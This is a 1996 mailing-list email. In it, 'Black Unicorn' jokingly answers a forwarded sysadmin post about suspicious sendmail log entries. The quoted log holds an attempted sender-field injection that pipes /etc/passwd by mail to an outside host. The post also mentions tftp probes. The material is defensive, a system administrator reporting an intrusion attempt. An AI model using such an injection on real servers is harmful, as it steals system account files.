From: Black Unicorn <unicorn@schloss.li>
Date: Thu, 28 Mar 1996 16:42:20 +0800
To: Anonymous <anon-remailer@utopia.hacktic.nl>
Subject: Re: Black Unicorn attempts computer break in
In-Reply-To: <199603270945.KAA13203@utopia.hacktic.nl>
Message-ID: <Pine.SUN.3.91.960327122526.23578A-100000@polaris.mindport.net>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 27 Mar 1996, Anonymous wrote:

> Date:         Wed, 27 Mar 1996 16:58:14 +1100
> Reply-To: Linux Servers mailing list <SERVER-LINUX@NETSPACE.ORG>
> Sender: Linux Servers mailing list <SERVER-LINUX@NETSPACE.ORG>
> From: Steve Gibson <steve@ARIES.INTERSPACE.COM.AU>
> Subject:      Strange things afoot at my SMTP port...
> To: Multiple recipients of list SERVER-LINUX
>               <SERVER-LINUX@NETSPACE.ORG>
> 
> I just found these while going through my messages file... do I
> have any need to be concerned???
> (unicorn.it.wsu.edu is now in my /etc/hosts.deny...)
> 
> Mar 23 20:39:25 aries sendmail[7469]: setsender: "|/bin/mail
> rblack@unicorn.it.wsu.edu < /etc/passwd": invalid or unparseable,
> received from unicorn.it.wsu.edu [1
> Mar 23 20:39:25 aries sendmail[7469]: UAA07469: from="|/bin/mail
> rblack@unicorn.it.wsu.edu < /etc/passwd", size=0, class=0, pri=0,
> nrcpts=0, proto=SMTP, relay=uni
> 
> There were also attempts at connecting to my tftp port, although
> at the time, in.tftpd wasn't on the system (it is now, and is also
> in my hosts.deny to all except for local)
> 
> Thanks...

You should be deeply concerned.

It's clear that I have been having blackouts again.

> 
>                       Interspace Australia Pty Ltd
>                    Steve Gibson - System Administrator
>                        <steve@interspace.com.au>

---
My prefered and soon to be permanent e-mail address: unicorn@schloss.li
"In fact, had Bancroft not existed,       potestas scientiae in usu est
Franklin might have had to invent him."    in nihilum nil posse reverti
00B9289C28DC0E55  E16D5378B81E1C96 - Finger for Current Key Information